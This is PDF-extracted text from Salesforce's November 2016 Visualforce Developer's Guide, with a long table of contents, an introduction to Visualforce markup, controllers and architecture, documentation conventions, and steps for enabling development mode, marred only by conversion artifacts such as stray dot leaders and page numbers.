Salesforce Visualforce Pages Developers Guide-Nov-2016
Salesforce Visualforce Pages Developers Guide-Nov-2016
Salesforce Visualforce Pages Developers Guide-Nov-2016
@salesforcedocs
Last updated: November 23, 2016
Copyright 20002016 salesforce.com, inc. All rights reserved. Salesforce is a registered trademark of salesforce.com, inc.,
as are other names and marks. Other marks appearing herein may be trademarks of their respective owners.
CONTENTS
Chapter 1: Introducing Visualforce . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
What is Visualforce? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Which Editions Support Visualforce? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Which Permissions are Required for Visualforce Development? . . . . . . . . . . . . . . . . . . . . . . . 4
How is Visualforce Architected? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
What are the Benefits of Visualforce? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
When Should I Use Visualforce? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
How Do Visualforce Pages Compare to S-Controls? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
How is Visualforce Versioned? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Whats New in Visualforce Version 38.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Documentation Typographical Conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Contents
Contents
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
140
140
142
144
Contents
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
182
183
186
188
Contents
Contents
Contents
apex:component . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 388
apex:componentBody . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 390
apex:composition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 393
apex:dataList . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 394
apex:dataTable . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 396
apex:define . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 402
apex:detail . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 403
apex:dynamicComponent . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 405
apex:emailPublisher . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 406
apex:enhancedList . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 408
apex:facet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 410
apex:flash . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 411
apex:form . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 412
apex:gaugeSeries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 416
apex:iframe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 417
apex:image . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 418
apex:include . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421
apex:includeLightning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422
apex:includeScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422
apex:inlineEditSupport . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 423
apex:input . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 425
apex:inputCheckbox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 428
apex:inputField . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 432
apex:inputFile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 435
apex:inputHidden . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 438
apex:inputSecret . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 439
apex:inputText . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 442
apex:inputTextarea . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 444
apex:insert . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 447
apex:legend . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 448
apex:lineSeries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 449
apex:listViews . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 452
apex:logCallPublisher . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 453
apex:map . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 454
apex:mapInfoWindow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 456
apex:mapMarker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 458
apex:message . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 459
apex:messages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 461
apex:milestoneTracker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 463
apex:outputField . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 464
apex:outputLabel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 466
apex:outputLink . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 468
apex:outputPanel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 471
apex:outputText . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 473
Contents
apex:page . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 475
apex:pageBlock . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 480
apex:pageBlockButtons . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 483
apex:pageBlockSection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 485
apex:pageBlockSectionItem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 488
apex:pageBlockTable . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 492
apex:pageMessage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 497
apex:pageMessages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 498
apex:panelBar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 499
apex:panelBarItem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 501
apex:panelGrid . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 503
apex:panelGroup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 507
apex:param . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 508
apex:pieSeries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 509
apex:radarSeries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 511
apex:relatedList . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 513
apex:remoteObjectField . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 514
apex:remoteObjectModel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 515
apex:remoteObjects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 516
apex:repeat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 516
apex:scatterSeries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 519
apex:scontrol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 521
apex:sectionHeader . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 522
apex:selectCheckboxes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 523
apex:selectList . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 527
apex:selectOption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 530
apex:selectOptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 533
apex:selectRadio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 535
apex:stylesheet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 539
apex:tab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 539
apex:tabPanel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 542
apex:toolbar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 545
apex:toolbarGroup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 549
apex:variable . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 551
apex:vote . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 552
chatter:feed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 552
chatter:feedWithFollowers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 553
chatter:follow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 554
chatter:followers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 555
chatter:newsfeed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 555
chatter:userPhotoUpload . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 556
chatteranswers:aboutme . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 556
chatteranswers:allfeeds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 557
chatteranswers:changepassword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 557
Contents
chatteranswers:datacategoryfilter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 558
chatteranswers:feedfilter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 558
chatteranswers:feeds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 559
chatteranswers:forgotpassword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 560
chatteranswers:forgotpasswordconfirm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 560
chatteranswers:guestsignin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 561
chatteranswers:help . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 561
chatteranswers:login . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 562
chatteranswers:registration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 562
chatteranswers:searchask . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 563
chatteranswers:singleitemfeed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 564
flow:interview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 564
ideas:detailOutputLink . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 565
ideas:listOutputLink . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 567
ideas:profileListOutputLink . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 568
knowledge:articleCaseToolbar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 570
knowledge:articleList . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 571
knowledge:articleRendererToolbar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 572
knowledge:articleTypeList . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 573
knowledge:categoryList . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 574
liveAgent:clientChat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 574
liveAgent:clientChatAlertMessage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 575
liveAgent:clientChatCancelButton . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 576
liveAgent:clientChatEndButton . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 576
liveAgent:clientChatFileTransfer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 577
liveAgent:clientChatInput . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 578
liveAgent:clientChatLog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 578
liveAgent:clientChatLogAlertMessage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 579
liveAgent:clientChatMessages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 580
liveAgent:clientChatQueuePosition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 580
liveAgent:clientChatSaveButton . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 581
liveAgent:clientChatSendButton . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 581
liveAgent:clientChatStatusMessage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 582
messaging:attachment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 582
messaging:emailHeader . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 584
messaging:emailTemplate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 585
messaging:htmlEmailBody . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 587
messaging:plainTextEmailBody . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 589
site:googleAnalyticsTracking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 590
site:previewAsAdmin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 591
social:profileViewer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 592
support:caseArticles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 593
support:caseFeed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 595
support:caseUnifiedFiles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 595
Contents
support:clickToDial . .
support:portalPublisher
topics:widget . . . . . .
wave:dashboard . . .
APPENDICES
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 596
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 597
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 598
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 599
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 602
Contents
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 717
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 726
CHAPTER 1
Introducing Visualforce
Over the past several years, Salesforce has created a comprehensive platform for building on-demand applications. Like other sophisticated
application development platforms, the Force.com platform offers separate tools for defining:
The structure of the datathat is, the data model
The rules that detail how that data can be manipulatedthat is, the business logic
The layouts that specify how that data should be displayedthat is, the user interface
Note: Splitting up application development tools based on whether they affect the data model, business logic, or user interface
is also known as the Model-View-Controller (MVC) application development patternthe Model is the data model, the View is
the user interface, and the Controller is the business logic.
While the tools for building the data model and business logic for applications are powerful solutions that run natively on Force.com
platform servers, the existing tools for defining user interfaces have had certain limitations:
Page layouts, the point-and-click tool that allows application developers to organize fields, buttons, and related lists on record
detail pages, do not provide much flexibility in how sets of information are displayed. Fields must always appear above related lists,
buttons must always appear above fields, and s-controls and custom links can only be placed in particular areas.
S-controls, the tool that allows application developers to display custom HTML in a detail page or custom tab, provide more flexibility
than page layouts, but:
Execute from within a browser, causing poor performance if displaying or updating values from more than a few records at a
time
Do not provide an easy way to give custom user interface elements the same look-and-feel as standard Salesforce pages
Require developers to enforce field uniqueness and other metadata dependencies on their own
Important: Visualforce pages supersede s-controls. Organizations that havent previously used s-controls cant create them.
Existing s-controls are unaffected, and can still be edited.
For these reasons, Salesforce has introduced Visualforce, the next-generation solution for building sophisticated custom user interfaces
on the Force.com platform.
SEE ALSO:
How is Visualforce Architected?
What are the Benefits of Visualforce?
Which Editions Support Visualforce?
How Do Visualforce Pages Compare to S-Controls?
What is Visualforce?
Whats New in Visualforce Version 38.0
Introducing Visualforce
What is Visualforce?
What is Visualforce?
Visualforce is a framework that allows developers to build sophisticated, custom user interfaces that can be hosted natively on the
Force.com platform. The Visualforce framework includes a tag-based markup language, similar to HTML, and a set of server-side standard
controllers that make basic database operations, such as queries and saves, very simple to perform.
In the Visualforce markup language, each Visualforce tag corresponds to a coarse or fine-grained user interface component, such as a
section of a page, a related list, or a field. The behavior of Visualforce components can either be controlled by the same logic that is used
in standard Salesforce pages, or developers can associate their own logic with a controller class written in Apex.
Sample of Visualforce Components and their Corresponding Tags
Visualforce Markup
Visualforce markup consists of Visualforce tags, HTML, JavaScript, or any other Web-enabled code embedded within a single
<apex:page> tag. The markup defines the user interface components that should be included on the page, and the way they should
appear.
Visualforce Controllers
A Visualforce controller is a set of instructions that specify what happens when a user interacts with the components specified in associated
Visualforce markup, such as when a user clicks a button or link. Controllers also provide access to the data that should be displayed in a
page, and can modify component behavior.
A developer can either use a standard controller provided by the Force.com platform, or add custom controller logic with a class written
in Apex:
A standard controller consists of the same functionality and logic that is used for a standard Salesforce page. For example, if you use
the standard Accounts controller, clicking a Save button in a Visualforce page results in the same behavior as clicking Save on a
standard Account edit page.
Introducing Visualforce
If you use a standard controller on a page and the user doesn't have access to the object, the page will display an insufficient privileges
error message. You can avoid this by checking the user's accessibility for an object and displaying components appropriately.
A standard list controller enables you to create Visualforce pages that can display or act on a set of records. Examples of existing
Salesforce pages that work with a set of records include list pages, related lists, and mass action pages.
A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you
use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality
that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions of the
current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's profile.
A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions
allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the current
user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although
the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can
specify whether a user can execute methods in a controller extension based on the user's profile.
Note: Although custom controllers and controller extension classes execute in system mode and thereby ignore user permissions
and field-level security, you can choose whether they respect a user's organization-wide defaults, role hierarchy, and sharing rules
by using the with sharing keywords in the class definition. For information, see Using the with sharing or without
sharing Keywords in the Apex Developer Guide.
Introducing Visualforce
Customize Application
Customize Application
Customize Application
Author Apex
Customize Application
Customize Application
Customize Application
Introducing Visualforce
When a developer finishes writing a Visualforce page and saves it to the platform, the platform application server attempts to compile
the markup into an abstract set of instructions that can be understood by the Visualforce renderer. If compilation generates errors, the
save is aborted and the errors are returned to the developer. Otherwise, the instructions are saved to the metadata repository and sent
to the Visualforce renderer. The renderer turns the instructions into HTML and then refreshes the developer's view, thereby providing
instantaneous feedback to the developer for whatever changes were made in the markup.
The architecture diagram below shows the process flow when a non-developer user requests a Visualforce page. Because the page is
already compiled into instructions, the application server simply retrieves the page from the metadata repository and sends it to the
Visualforce renderer for conversion into HTML.
Visualforce System Architecture - Standard User Mode
Note: Your Visualforce pages may be run on one of the force.com servers instead of a salesforce.com server.
SEE ALSO:
What is Visualforce?
What are the Benefits of Visualforce?
How Do Visualforce Pages Compare to S-Controls?
Introducing Visualforce
Visualforce also supports quick fixes that allow developers to create supporting components on the fly. For example, a developer
can define a new Visualforce page simply by logging in to Salesforce and then entering the name of the new page in a URL. Much
like a wiki, if the page does not yet exist, the platform creates it for you.
Integration with other Web-based user interface technologies
Because Visualforce markup is ultimately rendered into HTML, designers can use Visualforce tags alongside standard HTML, JavaScript,
Flash, or any other code that can execute within an HTML page on the platform, including Force.com platform merge fields and
expressions.
Model-View-Controller (MVC) style development
Visualforce conforms to the Model-View-Controller (MVC) development pattern by providing a clear division between the view of
an application (the user interface, defined by Visualforce markup), and the controller that determines how the application works (the
business logic, defined by a Visualforce controller written in Apex). With this architecture, designers and developers can easily split
up the work that goes with building a new applicationdesigners can focus on the look and feel of the user interface, while
developers can work on the business logic that drives the app.
Concise syntax
Visualforce pages can implement the same functionality as s-controls but with approximately 90% fewer lines of code.
Data-driven defaults
Visualforce components are rendered intelligently by the platform. For example, rather than forcing page designers to use different
component tags for different types of editable fields (such as email addresses or calendar dates), designers can simply use a generic
<apex:inputField> tag for all fields. The Visualforce renderer displays the appropriate edit interface for each field.
Hosted platform
Visualforce pages are compiled and rendered entirely by the Force.com platform. Because they are so tightly integrated, they display
the same performance as standard Salesforce pages, regardless of the amount of data being displayed or edited.
Automatically upgradeable
Visualforce pages do not need to be rewritten when other parts of the Force.com platform are upgraded. Because the pages are
stored as metadata, they are automatically upgraded with the rest of the system.
Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing
the Salesforce user interface. With Visualforce you can:
Build wizards and other multistep processes.
Create your own custom flow control through an application.
Define navigation patterns and data-specific rules for optimal, efficient application interaction.
Apex
Use Apex if you want to:
Introducing Visualforce
SOAP API
Use standard SOAP API calls if you want to add functionality to a composite application that processes only one type of record at a time
and does not require any transactional control (such as setting a Savepoint or rolling back changes).
For more information, see the SOAP API Developer's Guide.
S-Controls
HTML, XML
Language style
Tag markup
Procedural code
No
No
Data binding
Yes
No
Yes
Stylesheet inheritance
Introducing Visualforce
Visualforce Pages
S-Controls
Yes, by default
Performance
Page container
Native
In an iFrame
SEE ALSO:
What is Visualforce?
What are the Benefits of Visualforce?
How is Visualforce Architected?
Introducing Visualforce
2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the page or component.
3. Click Save.
SEE ALSO:
Managing Version Settings for Custom Components
Managing Package Version Settings for Visualforce Pages and Components
Past Releases
Our archive of release notes includes details about features we introduced in previous releases.
Summer 16 Release Notes
Spring 16 Release Notes
Winter 16 Release Notes
Summer 15 Release Notes
Spring 15 Release Notes
Winter 15 Release Notes
Summer 14 Release Notes
Spring 14 Release Notes
Winter 14 Release Notes
Summer 13 Release Notes
Spring 13 Release Notes
Winter 13 Release Notes
Summer 12 Release Notes
Spring 12 Release Notes
Winter 12 Release Notes
Summer 11 Release Notes
Spring 11 Release Notes
Winter 11 Release Notes
Summer 10 Release Notes
Spring 10 Release Notes
Winter 10 Release Notes
Summer 09 Release Notes
Spring 09 Release Notes
Winter 09 Release Notes
Summer 08 Release Notes
Spring 08 Release Notes
Introducing Visualforce
Description
Courier font
In descriptions of syntax, monospace font indicates items that you should type as shown,
except for brackets. For example:
Public class HelloWorld
Italics
In descriptions of syntax, italics represent variables. You supply the actual value. In the following
example, three values need to be supplied: datatype variable_name [ = value];
If the syntax is bold and italic, the text represents a code element that needs a value supplied
by you, such as a class name or variable value:
public static class YourClassHere { ... }
In code samples and syntax descriptions, bold courier font emphasizes a portion of the code
or syntax.
<>
In descriptions of syntax, less-than and greater-than symbols (< >) are typed exactly as shown.
<apex:pageBlockTable value="{!account.Contacts}" var="contact">
<apex:column value="{!contact.Name}"/>
<apex:column value="{!contact.MailingCity}"/>
<apex:column value="{!contact.Phone}"/>
</apex:pageBlockTable>
10
Introducing Visualforce
Convention
Description
{}
[]
In descriptions of syntax, the pipe sign means or. You can do one of the following (not all).
In the following example, you can create a new unpopulated set in one of two ways, or you
can populate the set:
Set<data_type> set_name
[= new Set<data_type>();] |
[= new Set<data_type{value [, value2. . .] };] |
;
11
CHAPTER 2
Before you begin developing Visualforce pages and components, familiarize yourself with the different places to create them:
The best way to build Visualforce is by enabling Visualforce development mode. Visualforce development mode is only available for
users with the Customize Application permission. Development mode provides you with:
A special development footer on every Visualforce page that includes the pages view state, any associated controller, a link to
the component reference documentation, and a page markup editor that offers highlighting, find-replace functionality, and
auto-suggest for component tag and attribute names.
The ability to define new Visualforce pages just by entering a unique URL.
Error messages that include more detailed stack traces than what standard users receive.
To enable Visualforce development mode:
1. From your personal settings, enter Advanced User Details in the Quick Find box, then select Advanced User
Details. No results? Enter Personal Information in the Quick Find box, then select Personal Information.
2. Click Edit.
3. Select the Development Mode checkbox.
4. Optionally, select the Show View State in Development Mode checkbox to enable the View State tab on the
development footer. This tab is useful for monitoring the performance of your Visualforce pages.
5. Click Save.
You can also develop Visualforce pages through the Salesforce user interface from Setup by entering Visualforce Pages in
the Quick Find box, then selecting Visualforce Pages. For Visualforce components, from Setup, enter Components in the
Quick Find box, then select Visualforce Components.
The Force.com IDE, a plug-in for the Eclipse IDE, offers capabilities not found elsewhere. The Force.com IDE provides a unified interface
for building and deploying Force.com applications, and includes tools such as source code editors, project wizards, and integrated
help. The IDE is designed for advanced developers and development teams.
12
If the page uses any controller extensions, the names of each extension are available as tabs. Clicking on the tab lets you edit the
associated Apex class.
If enabled in Setup, the View State tab displays information about the items contributing to the view state of the Visualforce page.
